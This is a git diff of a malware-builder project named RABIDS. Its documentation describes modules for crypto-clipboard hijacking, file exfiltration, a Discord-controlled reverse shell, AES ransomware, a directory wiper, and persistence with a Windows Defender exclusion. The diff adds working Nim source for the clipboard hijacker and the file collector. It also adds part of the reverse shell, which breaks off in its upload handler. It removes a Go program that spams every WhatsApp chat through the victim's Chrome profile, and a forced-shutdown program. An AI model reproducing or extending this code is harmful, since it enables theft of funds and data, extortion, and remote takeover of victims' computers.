Version 2
3
.gitignore
vendored
@ -1,2 +1,3 @@
|
||||
.DS_Store
|
||||
.LOOT
|
||||
.LOOT
|
||||
path
|
||||
BIN
ASSETS/banner.png
Normal file
|
After Width: | Height: | Size: 23 KiB |
BIN
ASSETS/error.png
Normal file
|
After Width: | Height: | Size: 37 KiB |
BIN
ASSETS/excited.png
Normal file
|
After Width: | Height: | Size: 37 KiB |
BIN
ASSETS/folder.png
Normal file
|
After Width: | Height: | Size: 13 KiB |
BIN
ASSETS/garbage.png
Normal file
|
After Width: | Height: | Size: 35 KiB |
BIN
ASSETS/loading.gif
Normal file
|
After Width: | Height: | Size: 27 KiB |
BIN
ASSETS/normal.png
Normal file
|
After Width: | Height: | Size: 4.4 KiB |
BIN
ASSETS/success.png
Normal file
|
After Width: | Height: | Size: 41 KiB |
BIN
ASSETS/unkrash.png
Normal file
|
After Width: | Height: | Size: 55 KiB |
BIN
DLL/libcrypto-1_1-x64.dll
Normal file
BIN
DLL/libssl-1_1-x64.dll
Normal file
184
DOCUMENTATION.md
Normal file
@ -0,0 +1,184 @@
|
||||
# RABIDS
|
||||
|
||||
This document provides a detailed overview of each module available in the RABIDS graphical user interface, including its purpose and configurable options.
|
||||
|
||||
---
|
||||
|
||||
## Installation and Setup
|
||||
|
||||
Before running RABIDS, you need to install several dependencies for Python, Nim, and Rust. The obfuscation feature also requires Docker.
|
||||
|
||||
### 1. Python Dependencies
|
||||
|
||||
The GUI is built with PyQt5. Install it using pip:
|
||||
|
||||
```bash
|
||||
pip install PyQt5
|
||||
```
|
||||
|
||||
### 2. Nim and Nimble Packages
|
||||
|
||||
The core payload modules are written in Nim.
|
||||
|
||||
- **Install Nim:** Follow the official instructions at [nim-lang.org/install](https://nim-lang.org/install.html).
|
||||
|
||||
- **Install Nimble Packages:** The modules require several external packages. Install them using the `nimble` command:
|
||||
|
||||
```bash
|
||||
nimble install winim openssl discord nimcrypto clipb
|
||||
```
|
||||
|
||||
### 3. Rust Environment
|
||||
|
||||
RABIDS uses a Rust wrapper for in-memory execution and obfuscation on Windows targets.
|
||||
|
||||
- **Install Rust:** Follow the official instructions at rust-lang.org/tools/install.
|
||||
|
||||
- **Install Cross-Compilation Targets:** To build for different architectures, you need to add the corresponding targets via `rustup`:
|
||||
|
||||
```bash
|
||||
# For Windows 64-bit (amd64)
|
||||
rustup target add x86_64-pc-windows-gnu
|
||||
|
||||
# For Windows 64-bit (arm64)
|
||||
rustup target add aarch64-pc-windows-gnu
|
||||
```
|
||||
|
||||
### 4. Docker (for Obfuscation)
|
||||
|
||||
The payload obfuscation feature uses a Docker container with a pre-built Obfuscator-LLVM toolchain.
|
||||
|
||||
- **Install Docker:** Get Docker Desktop from the official Docker website.
|
||||
|
||||
- **Pull the Obfuscator Image:** Download the required Docker image from the GitHub Container Registry:
|
||||
|
||||
```bash
|
||||
docker pull ghcr.io/joaovarelas/obfuscator-llvm-16.0:latest
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Important: Module Chaining Order
|
||||
|
||||
When building a payload with multiple modules, the order in which you add them matters. Modules are executed sequentially in the order they appear in the "MODULE CHAIN".
|
||||
|
||||
Some modules, like `ctrlvamp` and `ghostintheshell`, are **"blocking"**. This means they run in a continuous loop (e.g., to monitor the clipboard or wait for commands) and will prevent any subsequent modules in the chain from executing.
|
||||
|
||||
**Therefore, you should always place blocking modules at the end of your module chain.**
|
||||
|
||||
For example, if you want to gain persistence (`undeleteme`) and then start a reverse shell (`ghostintheshell`), the correct order is:
|
||||
|
||||
1. `undeleteme`
|
||||
2. `ghostintheshell`
|
||||
|
||||
If you place `ghostintheshell` first, the `undeleteme` module will never run.
|
||||
|
||||
**Blocking Modules:**
|
||||
|
||||
- `ctrlvamp`
|
||||
- `ghostintheshell`
|
||||
|
||||
---
|
||||
|
||||
## Module: `ctrlvamp`
|
||||
|
||||
**Description:**
|
||||
Hijacks the system's clipboard to replace cryptocurrency wallet addresses. When a user copies a wallet address, this module swaps it with an address you control, redirecting payments.
|
||||
|
||||
**How it works:**
|
||||
The payload continuously monitors the clipboard. It uses regular expressions to detect patterns matching various cryptocurrency addresses. When a match is found, it replaces the clipboard content with the corresponding address provided in the options.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `btcAddress`: Your Bitcoin (BTC) address that will replace any BTC address copied by the victim.
|
||||
- `ethAddress`: Your Ethereum (ETH) or EVM-compatible address that will replace any matching address copied by the victim.
|
||||
- `bep20Address`: Your Binance Smart Chain (BEP-20) address.
|
||||
- `solAddress`: Your Solana (SOL) address.
|
||||
|
||||
---
|
||||
|
||||
## Module: `dumpster`
|
||||
|
||||
**Description:**
|
||||
A data exfiltration tool that collects files from a specified directory, compresses them, and archives them into a single data file (`dumpster.dat`). It can also be used to restore files from this archive.
|
||||
|
||||
**How it works:**
|
||||
|
||||
- **Collect Mode:** The payload recursively walks through the `inputDir`, reads the files, and writes them into a single archive file specified by `dumpsterFile`. This is the default behavior when building a payload.
|
||||
- **Restore Mode:** The "Garbage Collector" tab uses this module to reverse the process. It reads a `.dat` file and extracts its contents to a specified output directory.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `inputDir`: The target directory to collect files from (e.g., `$HOME/Documents`).
|
||||
- `dumpsterFile`: The path where the collected data will be stored as a single archive file (e.g., `$HOME/dumpster.dat`).
|
||||
- `collectMode` (Internal): Set to `true` to enable file collection. This is the default.
|
||||
- `restoreMode` (Internal): Set to `true` to enable file restoration. This is used by the "Garbage Collector" tab.
|
||||
|
||||
---
|
||||
|
||||
## Module: `ghostintheshell`
|
||||
|
||||
**Description:**
|
||||
Provides a covert reverse shell by leveraging the Discord API. The payload connects to Discord as a bot and listens for commands from a specific user, allowing for remote command execution on the victim's machine.
|
||||
|
||||
**How it works:**
|
||||
The payload logs into Discord using the provided bot token. It then waits for messages from the specified `creatorId`. Any message received from that user is executed as a shell command, and the output is sent back as a message to the same Discord channel.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `discordToken`: The authentication token for your Discord bot.
|
||||
- `creatorId`: Your unique Discord user ID. The bot will only accept commands from this user to prevent unauthorized access.
|
||||
|
||||
---
|
||||
|
||||
## Module: `krash`
|
||||
|
||||
**Description:**
|
||||
A ransomware module that encrypts files within a target directory. After encryption, it can display a ransom note to the user. The "UNKRASH" tab is its counterpart, used to build a decryptor.
|
||||
|
||||
**How it works:**
|
||||
|
||||
- **Encrypt Mode:** The payload recursively finds all files in `targetDir`, encrypts them using AES with the provided `key` and `iv`, and appends the specified `extension` to the filenames. It then writes the `htmlContent` to a file to serve as the ransom note.
|
||||
- **Decrypt Mode:** The "UNKRASH" tab builds a decryptor using this same module. When the decryptor runs, it finds files with the `.locked` extension, decrypts them with the same key and IV, and restores their original filenames.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `key`: The 256-bit AES encryption key (as a 32-character hex string).
|
||||
- `iv`: The 128-bit AES initialization vector (as a 16-character hex string).
|
||||
- `extension`: The file extension to append to encrypted files (e.g., `.locked`).
|
||||
- `targetDir`: The directory whose contents will be encrypted.
|
||||
- `htmlContent`: The HTML content of the ransom note that will be displayed to the victim.
|
||||
- `decrypt` (Internal): Set to `true` to build a decryptor instead of an encryptor. This is used by the "UNKRASH" tab.
|
||||
|
||||
---
|
||||
|
||||
## Module: `poof`
|
||||
|
||||
**Description:**
|
||||
A destructive module that permanently deletes all files and folders within a specified directory. Use with extreme caution.
|
||||
|
||||
**How it works:**
|
||||
The payload recursively traverses the `targetDir` and forcefully removes every file and sub-directory it encounters. This action is irreversible.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `targetDir`: The directory to wipe clean.
|
||||
|
||||
---
|
||||
|
||||
## Module: `undeleteme`
|
||||
|
||||
**Description:**
|
||||
A persistence module designed to ensure the payload survives a system reboot. It can also attempt to add an exclusion to Windows Defender to avoid detection.
|
||||
|
||||
**How it works:**
|
||||
|
||||
- **Persistence:** If enabled, the payload will typically copy itself to a persistent location (like `AppData`) and create a registry key (e.g., in `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run`) to ensure it runs automatically every time the user logs in.
|
||||
- **Defender Exclusion:** If enabled, the payload will execute a PowerShell command (`Add-MpPreference -ExclusionPath`) to add its own path to the Windows Defender exclusion list, reducing the likelihood of being scanned and quarantined.
|
||||
|
||||
**Options:**
|
||||
|
||||
- `persistence`: A boolean (`true`/`false`) to enable or disable the persistence mechanism.
|
||||
- `defenderExclusion`: A boolean (`true`/`false`) to enable or disable adding a Windows Defender exclusion.
|
||||
|
||||
---
|
||||
@ -1,229 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"time"
|
||||
"github.com/go-rod/rod"
|
||||
"github.com/go-rod/rod/lib/launcher"
|
||||
"github.com/go-rod/rod/lib/proto"
|
||||
)
|
||||
|
||||
func getDefaultProfileDir() string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
return filepath.Join(home, "AppData", "Local", "Google", "Chrome", "User Data", "Default")
|
||||
case "darwin":
|
||||
return filepath.Join(home, "Library", "Application Support", "Google", "Chrome", "Default")
|
||||
case "linux":
|
||||
return filepath.Join(home, ".config", "google-chrome", "Default")
|
||||
default:
|
||||
return ""
|
||||
}
|
||||
}
|
||||
|
||||
func killChromeProcesses() {
|
||||
fmt.Println("Killing existing Chrome processes...")
|
||||
|
||||
var cmd *exec.Cmd
|
||||
switch runtime.GOOS {
|
||||
case "windows":
|
||||
cmd = exec.Command("taskkill", "/F", "/IM", "chrome.exe")
|
||||
case "darwin":
|
||||
cmd = exec.Command("pkill", "-f", "Google Chrome")
|
||||
case "linux":
|
||||
cmd = exec.Command("pkill", "-f", "google-chrome")
|
||||
default:
|
||||
fmt.Println("Unsupported OS for killing Chrome processes")
|
||||
return
|
||||
}
|
||||
|
||||
if cmd != nil {
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("No Chrome processes found or already killed")
|
||||
} else {
|
||||
fmt.Println("Chrome processes killed successfully")
|
||||
}
|
||||
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
killChromeProcesses()
|
||||
|
||||
profileDir := getDefaultProfileDir()
|
||||
if profileDir == "" {
|
||||
fmt.Println("Unsupported OS or could not determine profile directory.")
|
||||
return
|
||||
}
|
||||
if _, err := os.Stat(profileDir); err != nil {
|
||||
fmt.Printf("Default Chrome profile not found at: %s\n", profileDir)
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Printf("Using Chrome profile: %s\n", profileDir)
|
||||
|
||||
u := launcher.New().
|
||||
UserDataDir(filepath.Dir(profileDir)).
|
||||
Set("profile-directory", "Default").
|
||||
Headless(true).
|
||||
Leakless(false).
|
||||
Set("disable-web-security", "false").
|
||||
Set("disable-features", "TranslateUI").
|
||||
Set("no-first-run", "true").
|
||||
Set("no-default-browser-check", "true").
|
||||
Set("disable-background-timer-throttling", "true").
|
||||
Set("disable-backgrounding-occluded-windows", "true").
|
||||
Set("disable-renderer-backgrounding", "true").
|
||||
Set("disable-ipc-flooding-protection", "true").
|
||||
Set("disable-hang-monitor", "true").
|
||||
Set("disable-prompt-on-repost", "true").
|
||||
Set("disable-domain-reliability", "true").
|
||||
Set("disable-component-extensions-with-background-pages", "true").
|
||||
Set("disable-background-mode", "true").
|
||||
Set("disable-sync", "true").
|
||||
Set("disable-translate", "true").
|
||||
Set("disable-default-apps", "true").
|
||||
Set("disable-extensions", "true").
|
||||
Set("disable-background-networking", "true").
|
||||
Set("mute-audio", "true").
|
||||
Set("safebrowsing-disable-auto-update", "true").
|
||||
Set("disable-popup-blocking", "true").
|
||||
Set("disable-notifications", "true").
|
||||
Set("disable-single-process", "true").
|
||||
Set("no-zygote", "true").
|
||||
Set("disable-dev-shm-usage", "true").
|
||||
Set("no-sandbox", "true").
|
||||
Set("disable-gpu", "true").
|
||||
Set("remote-debugging-port", "0").
|
||||
Set("window-size", "1920,1080").
|
||||
Set("start-maximized", "true").
|
||||
Set("new-window", "true").
|
||||
Set("new-process", "true").
|
||||
Set("no-reuse-windows", "true").
|
||||
Set("disable-background-apps", "true").
|
||||
MustLaunch()
|
||||
|
||||
browser := rod.New().ControlURL(u)
|
||||
if err := browser.Connect(); err != nil {
|
||||
fmt.Printf("Failed to connect to browser: %v\n", err)
|
||||
fmt.Println("Trying to launch a new Chrome instance...")
|
||||
|
||||
u2 := launcher.New().
|
||||
UserDataDir(filepath.Dir(profileDir)).
|
||||
Set("profile-directory", "Default").
|
||||
Headless(false).
|
||||
Leakless(false).
|
||||
Set("remote-debugging-port", "9222").
|
||||
Set("new-window", "true").
|
||||
Set("new-process", "true").
|
||||
Set("no-reuse-windows", "true").
|
||||
Set("disable-background-apps", "true").
|
||||
Set("no-sandbox", "true").
|
||||
Set("disable-gpu", "true").
|
||||
MustLaunch()
|
||||
|
||||
browser = rod.New().ControlURL(u2)
|
||||
if err := browser.Connect(); err != nil {
|
||||
fmt.Printf("Failed to connect to browser after retry: %v\n", err)
|
||||
fmt.Println("Please close all Chrome instances and try again.")
|
||||
return
|
||||
}
|
||||
}
|
||||
defer browser.MustClose()
|
||||
|
||||
page := browser.MustPage("https://web.whatsapp.com")
|
||||
fmt.Println("Waiting for WhatsApp Web to load...")
|
||||
|
||||
qrSel := "canvas[aria-label='Scan me!']"
|
||||
chatListSel := "div[role='listitem']"
|
||||
loadTimeout := time.Now().Add(60 * time.Second)
|
||||
loggedIn := false
|
||||
for time.Now().Before(loadTimeout) {
|
||||
if page.MustHas(chatListSel) {
|
||||
loggedIn = true
|
||||
break
|
||||
}
|
||||
if page.MustHas(qrSel) {
|
||||
break
|
||||
}
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
|
||||
if !loggedIn {
|
||||
if page.MustHas(qrSel) {
|
||||
fmt.Println("WhatsApp Web is not logged in. Please scan the QR code in the opened browser window.")
|
||||
} else {
|
||||
fmt.Println("Could not detect WhatsApp Web login or chat list. Please check manually.")
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
fmt.Println("Logged in! Cycling through all chats...")
|
||||
chats, err := page.Elements(chatListSel)
|
||||
if err != nil || len(chats) == 0 {
|
||||
fmt.Println("No chats found or error extracting chats.")
|
||||
return
|
||||
}
|
||||
|
||||
maxChats := len(chats)
|
||||
|
||||
processedChats := make(map[string]bool)
|
||||
chatProcessTimeout := time.Now().Add(300 * time.Second)
|
||||
|
||||
for i := 0; i < maxChats && time.Now().Before(chatProcessTimeout); i++ {
|
||||
chatName, _ := chats[i].Text()
|
||||
if chatName == "" || processedChats[chatName] {
|
||||
continue
|
||||
}
|
||||
processedChats[chatName] = true
|
||||
|
||||
fmt.Printf("\n=== Chat %d: %s ===\n", i+1, chatName)
|
||||
|
||||
clickErr := chats[i].Click(proto.InputMouseButtonLeft, 1)
|
||||
if clickErr != nil {
|
||||
fmt.Printf("Failed to click on chat %s: %v\n", chatName, clickErr)
|
||||
continue
|
||||
}
|
||||
|
||||
time.Sleep(3 * time.Second)
|
||||
fmt.Printf("Cycled to chat: %s\n", chatName)
|
||||
|
||||
inputBox, err := page.Element("div[aria-label='Type a message'][contenteditable='true']")
|
||||
if err != nil {
|
||||
fmt.Printf("Could not find message input for chat %s: %v\n", chatName, err)
|
||||
continue
|
||||
}
|
||||
predefinedMessage := "Hello from BartmossBrainworm!"
|
||||
err = inputBox.Input(predefinedMessage)
|
||||
if err != nil {
|
||||
fmt.Printf("Could not type message in chat %s: %v\n", chatName, err)
|
||||
continue
|
||||
}
|
||||
|
||||
sendButton, err := page.Element("button[aria-label='Send']")
|
||||
if err != nil {
|
||||
fmt.Printf("Could not find send button for chat %s: %v\n", chatName, err)
|
||||
continue
|
||||
}
|
||||
err = sendButton.Click(proto.InputMouseButtonLeft, 1)
|
||||
if err != nil {
|
||||
fmt.Printf("Could not click send button for chat %s: %v\n", chatName, err)
|
||||
continue
|
||||
}
|
||||
|
||||
fmt.Printf("Sent message to chat: %s\n", chatName)
|
||||
time.Sleep(2 * time.Second)
|
||||
}
|
||||
|
||||
fmt.Printf("\nTotal chats cycled: %d\n", len(processedChats))
|
||||
fmt.Println("Done.")
|
||||
}
|
||||
@ -1,16 +0,0 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
"os/exec"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
func main() {
|
||||
cmd := exec.Command("shutdown", "/s", "/t", "0")
|
||||
err := cmd.Run()
|
||||
if err != nil {
|
||||
fmt.Println("Failed to shutdown:", err)
|
||||
}
|
||||
}
|
||||
|
||||
func compile() {}
|
||||
161
MODULE/ctrlvamp.nim
Normal file
@ -0,0 +1,161 @@
|
||||
import os, re, strutils, times, osproc, winim
|
||||
|
||||
const
|
||||
btcAddress = "1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa"
|
||||
ethAddress = "0x1234567890abcdef1234567890abcdef12345678"
|
||||
bep20Address = "0xabcdef1234567890abcdef1234567890abcdef12"
|
||||
solAddress = "4k3Dyjzvzp8eMZWUXbBCjEvwSkkk59S5iCNLY3QrkX6R"
|
||||
|
||||
let
|
||||
btcRegex = re"^[13bc1][a-km-zA-HJ-NP-Z1-9]{25,34}$"
|
||||
ethRegex = re"^0x[a-fA-F0-9]{40}$"
|
||||
solRegex = re"^[1-9A-HJ-NP-Za-km-z]{32,44}$"
|
||||
|
||||
proc isValidBitcoinAddress(address: string): bool =
|
||||
let valid = address.match(btcRegex)
|
||||
echo "checking btc: ", address, " -> ", valid
|
||||
valid
|
||||
|
||||
proc isValidEthereumAddress(address: string): bool =
|
||||
let valid = address.match(ethRegex)
|
||||
echo "checking eth: ", address, " -> ", valid
|
||||
valid
|
||||
|
||||
proc isValidBEP20Address(address: string): bool =
|
||||
let valid = isValidEthereumAddress(address)
|
||||
echo "checking bep20: ", address, " -> ", valid
|
||||
valid
|
||||
|
||||
proc isValidSolanaAddress(address: string): bool =
|
||||
let valid = address.match(solRegex)
|
||||
echo "checking sol: ", address, " -> ", valid
|
||||
valid
|
||||
|
||||
proc readClipboard(): string =
|
||||
when defined(windows):
|
||||
if OpenClipboard(0):
|
||||
defer: discard CloseClipboard()
|
||||
let hData = GetClipboardData(CF_TEXT)
|
||||
if hData != 0:
|
||||
let data = cast[cstring](GlobalLock(hData))
|
||||
defer: GlobalUnlock(hData)
|
||||
if data != nil:
|
||||
let clipboardText = $data
|
||||
echo "windows clipboard read: ", clipboardText
|
||||
return clipboardText.strip()
|
||||
echo "failed to read clipboard on windows"
|
||||
return ""
|
||||
else:
|
||||
echo "failed to open clipboard on windows: ", GetLastError()
|
||||
return ""
|
||||
elif defined(macosx):
|
||||
let cmd = "pbpaste"
|
||||
var (output, exitCode) = execCmdEx(cmd)
|
||||
if exitCode == 0:
|
||||
let result = output.strip()
|
||||
echo "macos clipboard read: ", result
|
||||
return result
|
||||
else:
|
||||
echo "error reading macos clipboard: ", output
|
||||
return ""
|
||||
else:
|
||||
let cmd = "xclip -selection clipboard -o"
|
||||
var (output, exitCode) = execCmdEx(cmd)
|
||||
if exitCode == 0:
|
||||
let result = output.strip()
|
||||
echo "linux clipboard read: ", result
|
||||
return result
|
||||
else:
|
||||
echo "error reading linux clipboard: ", output
|
||||
return ""
|
||||
|
||||
proc writeClipboard(content: string): bool =
|
||||
when defined(windows):
|
||||
if OpenClipboard(0):
|
||||
defer: discard CloseClipboard()
|
||||
EmptyClipboard()
|
||||
let hGlobal = GlobalAlloc(GMEM_MOVEABLE, content.len + 1)
|
||||
if hGlobal != 0:
|
||||
defer: GlobalFree(hGlobal)
|
||||
let data = cast[cstring](GlobalLock(hGlobal))
|
||||
copyMem(data, content.cstring, content.len + 1)
|
||||
GlobalUnlock(hGlobal)
|
||||
if SetClipboardData(CF_TEXT, hGlobal) != 0:
|
||||
echo "windows clipboard write: ", content
|
||||
return true
|
||||
echo "failed to write to windows clipboard: ", GetLastError()
|
||||
return false
|
||||
else:
|
||||
echo "failed to open windows clipboard: ", GetLastError()
|
||||
return false
|
||||
elif defined(macosx):
|
||||
let escapedContent = content.replace("\\", "\\\\").replace("\"", "\\\"")
|
||||
let cmd = "echo \"" & escapedContent & "\" | pbcopy"
|
||||
let exitCode = execShellCmd(cmd)
|
||||
if exitCode == 0:
|
||||
echo "macos clipboard write: ", content
|
||||
return true
|
||||
else:
|
||||
echo "error writing to macos clipboard"
|
||||
return false
|
||||
else:
|
||||
let escapedContent = content.replace("\\", "\\\\").replace("\"", "\\\"")
|
||||
let cmd = "echo \"" & escapedContent & "\" | xclip -selection clipboard"
|
||||
let exitCode = execShellCmd(cmd)
|
||||
if exitCode == 0:
|
||||
echo "linux clipboard write: ", content
|
||||
return true
|
||||
else:
|
||||
echo "error writing to linux clipboard"
|
||||
return false
|
||||
|
||||
proc controlCHook() {.noconv.} =
|
||||
echo "\nctrl+c detected, exiting."
|
||||
quit(0)
|
||||
|
||||
proc main() =
|
||||
setControlCHook(controlCHook)
|
||||
var initialContent = readClipboard()
|
||||
echo "initial clipboard: ", initialContent
|
||||
echo "ctrl+c to exit"
|
||||
|
||||
while true:
|
||||
let content = readClipboard()
|
||||
if content.len > 0 and content != initialContent:
|
||||
echo "clipboard changed: ", content
|
||||
if btcAddress.len > 0 and content != btcAddress and isValidBitcoinAddress(content):
|
||||
if writeClipboard(btcAddress):
|
||||
echo "found btc, replaced with: ", btcAddress
|
||||
initialContent = btcAddress
|
||||
else:
|
||||
echo "failed to write btc address"
|
||||
initialContent = content
|
||||
elif ethAddress.len > 0 and content != ethAddress and isValidEthereumAddress(content):
|
||||
if writeClipboard(ethAddress):
|
||||
echo "found eth, replaced with: ", ethAddress
|
||||
initialContent = ethAddress
|
||||
else:
|
||||
echo "failed to write eth address"
|
||||
initialContent = content
|
||||
elif bep20Address.len > 0 and content != bep20Address and isValidBEP20Address(content):
|
||||
if writeClipboard(bep20Address):
|
||||
echo "found bep20, replaced with: ", bep20Address
|
||||
initialContent = bep20Address
|
||||
else:
|
||||
echo "failed to write bep20 address"
|
||||
initialContent = content
|
||||
elif solAddress.len > 0 and content != solAddress and isValidSolanaAddress(content):
|
||||
if writeClipboard(solAddress):
|
||||
echo "found sol, replaced with: ", solAddress
|
||||
initialContent = solAddress
|
||||
else:
|
||||
echo "failed to write sol address"
|
||||
initialContent = content
|
||||
else:
|
||||
echo "no crypto address found"
|
||||
initialContent = content
|
||||
|
||||
sleep(500)
|
||||
|
||||
when not isMainModule:
|
||||
discard
|
||||
89
MODULE/dumpster.nim
Normal file
@ -0,0 +1,89 @@
|
||||
import os, strutils, base64
|
||||
|
||||
proc collect(input_dir: string, dumpster: string) =
|
||||
try:
|
||||
let dumpDir = parentDir(dumpster)
|
||||
if dumpDir != "":
|
||||
createDir(dumpDir)
|
||||
except Exception:
|
||||
echo "error creating the dumpster directory"
|
||||
|
||||
try:
|
||||
let lootFile = open(dumpster, fmWrite)
|
||||
defer: lootFile.close()
|
||||
|
||||
let fileExt: seq[string] = @[]
|
||||
|
||||
for file in walkDirRec(input_dir):
|
||||
try:
|
||||
if fileExists(file) and not (splitFile(file).ext.replace(".", "").toLowerAscii() in fileExt):
|
||||
let content = readFile(file)
|
||||
let b64 = encode(content)
|
||||
let rel = relativePath(file, input_dir)
|
||||
lootFile.write(rel & "\n" & b64 & "\n\n")
|
||||
except Exception:
|
||||
echo "error processing file: ", file
|
||||
except Exception:
|
||||
echo "error writing to the dumpster file"
|
||||
|
||||
proc restore(dumpster: string, output_dir: string) =
|
||||
try:
|
||||
createDir(output_dir)
|
||||
except Exception:
|
||||
echo "error creating the output directory"
|
||||
|
||||
try:
|
||||
let content = readFile(dumpster)
|
||||
for dataBlock in content.split("\n\n"):
|
||||
let trimmed = dataBlock.strip()
|
||||
if trimmed == "": continue
|
||||
let parts = trimmed.split("\n", 1)
|
||||
if parts.len != 2: continue
|
||||
let rel = parts[0]
|
||||
let b64 = parts[1]
|
||||
try:
|
||||
let data = $decode(b64)
|
||||
let outpath = output_dir / rel
|
||||
let outDir = parentDir(outpath)
|
||||
if outDir != "":
|
||||
createDir(outDir)
|
||||
writeFile(outpath, data)
|
||||
except Exception:
|
||||
echo "error restoring file: ", rel
|
||||
except Exception:
|
||||
echo "error reading from the dumpster file"
|
||||
|
||||
const
|
||||
inputDir = ""
|
||||
dumpsterFile = ""
|
||||
outputDir = ""
|
||||
|
||||
proc main() =
|
||||
when defined(collectMode):
|
||||
var currentInputDir = inputDir
|
||||
var currentDumpsterFile = dumpsterFile
|
||||
|
||||
if "$HOME" in currentInputDir:
|
||||
currentInputDir = currentInputDir.replace("$HOME", getHomeDir())
|
||||
if "$HOME" in currentDumpsterFile:
|
||||
currentDumpsterFile = currentDumpsterFile.replace("$HOME", getHomeDir())
|
||||
|
||||
if currentInputDir.len > 0 and currentDumpsterFile.len > 0:
|
||||
collect(currentInputDir, currentDumpsterFile)
|
||||
elif defined(restoreMode):
|
||||
var currentDumpsterFile = dumpsterFile
|
||||
var currentOutputDir = outputDir
|
||||
|
||||
if "$HOME" in currentDumpsterFile:
|
||||
currentDumpsterFile = currentDumpsterFile.replace("$HOME", getHomeDir())
|
||||
if "$HOME" in currentOutputDir:
|
||||
currentOutputDir = currentOutputDir.replace("$HOME", getHomeDir())
|
||||
if currentDumpsterFile.len > 0 and currentOutputDir.len > 0:
|
||||
restore(currentDumpsterFile, currentOutputDir)
|
||||
else: # Fallback to original command-line argument behavior
|
||||
if paramCount() >= 3:
|
||||
let mode = paramStr(1)
|
||||
if mode == "--collect":
|
||||
collect(paramStr(2), paramStr(3))
|
||||
elif mode == "--restore":
|
||||
restore(paramStr(2), paramStr(3))
|
||||
258
MODULE/ghostintheshell.nim
Normal file
@ -0,0 +1,258 @@
|
||||
import dimscord, asyncdispatch, times, options, httpclient, osproc, os, strutils, json, threadpool, streams
|
||||
|
||||
const
|
||||
discordToken = ""
|
||||
creatorId = ""
|
||||
cyrptoDllData = staticRead("../DLL/libcrypto-1_1-x64.dll")
|
||||
sslDllData = staticRead("../DLL/libssl-1_1-x64.dll")
|
||||
cyrptoDllName = "libcrypto-1_1-x64.dll"
|
||||
sslDllName = "libssl-1_1-x64.dll"
|
||||
let discord = newDiscordClient(discordToken)
|
||||
|
||||
var
|
||||
currentDir = getCurrentDir()
|
||||
sessionRegistry: seq[string] = @[]
|
||||
|
||||
proc runCommandSync(cmd: string): (string, int) =
|
||||
result = ("", -1)
|
||||
var p = startProcess(cmd,
|
||||
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
|
||||
var output = newStringOfCap(4096)
|
||||
while not p.outputStream.atEnd:
|
||||
output.add(p.outputStream.readStr(4096))
|
||||
let exitCode = p.waitForExit()
|
||||
p.close()
|
||||
return (output, exitCode)
|
||||
|
||||
proc runBlockingCommand(cmd: string, pidHolder: ref int): string =
|
||||
var p = startProcess(cmd,
|
||||
options = {poEvalCommand, poUsePath, poStdErrToStdOut})
|
||||
pidHolder[] = p.processID
|
||||
var output = newStringOfCap(4096)
|
||||
while not p.outputStream.atEnd:
|
||||
output.add(p.outputStream.readStr(4096))
|
||||
discard p.waitForExit()
|
||||
p.close()
|
||||
return output
|
||||
|
||||
proc runCommandWithTimeoutKill(cmd: string, timeoutMs: int): Future[string] {.async.} =
|
||||
var pidHolder = new(int)
|
||||
let fut = spawn runBlockingCommand(cmd, pidHolder)
|
||||
|
||||
var elapsed = 0
|
||||
let interval = 100 # ms
|
||||
|
||||
while not isReady(fut) and elapsed < timeoutMs:
|
||||
await sleepAsync(interval)
|
||||
elapsed += interval
|
||||
|
||||
if isReady(fut):
|
||||
return ^fut
|
||||
else:
|
||||
when defined(windows):
|
||||
discard execShellCmd("taskkill /PID " & $pidHolder[] & " /T /F")
|
||||
else:
|
||||
discard execShellCmd("kill -9 " & $pidHolder[])
|
||||
return "Command timed out and was terminated after " & $(timeoutMs div 1000) & " seconds."
|
||||
|
||||
proc sendMessage(channelId: string, content: string): Future[Message] {.async.} =
|
||||
result = await discord.api.sendMessage(channelId, content)
|
||||
|
||||
proc sendFile(channelId: string, filePath: string, fileName: string): Future[void] {.async.} =
|
||||
let fileContent = readFile(filePath)
|
||||
discard await discord.api.sendMessage(
|
||||
channelId,
|
||||
files = @[DiscordFile(name: fileName, body: fileContent)]
|
||||
)
|
||||
|
||||
proc handleCommand(cmd: string, m: Message, client: HttpClient): Future[string] {.async.} =
|
||||
if cmd == "!dir" or cmd == "!ls":
|
||||
when defined(windows):
|
||||
let (output, exitCode) = execCmdEx("cmd /c dir", options = {poUsePath}, workingDir = currentDir)
|
||||
if exitCode != 0:
|
||||
return "command failed with exit code " & $exitCode & ":\n" & output
|
||||
else:
|
||||
return output
|
||||
else:
|
||||
let (output, exitCode) = execCmdEx("ls", options = {poUsePath}, workingDir = currentDir)
|
||||
if exitCode != 0:
|
||||
return "command failed with exit code " & $exitCode & ":\n" & output
|
||||
else:
|
||||
return output
|
||||
|
||||
elif cmd.startsWith("!cd "):
|
||||
let newDir = cmd[4..^1].strip()
|
||||
let targetDir = if os.isAbsolute(newDir): newDir else: os.joinPath(currentDir, newDir)
|
||||
if dirExists(targetDir):
|
||||
setCurrentDir(targetDir)
|
||||
currentDir = targetDir
|
||||
return "changed directory to " & currentDir
|
||||
else:
|
||||
return "directory not found: " & targetDir
|
||||
|
||||
elif cmd == "!upload":
|
||||
if m.attachments.len == 0:
|
||||
return "no file attached. Please send a file with the !upload command."
|
||||
else:
|
||||
let attachment = m.attachments[0]
|
||||
let downloadUrl = attachment.url
|
||||
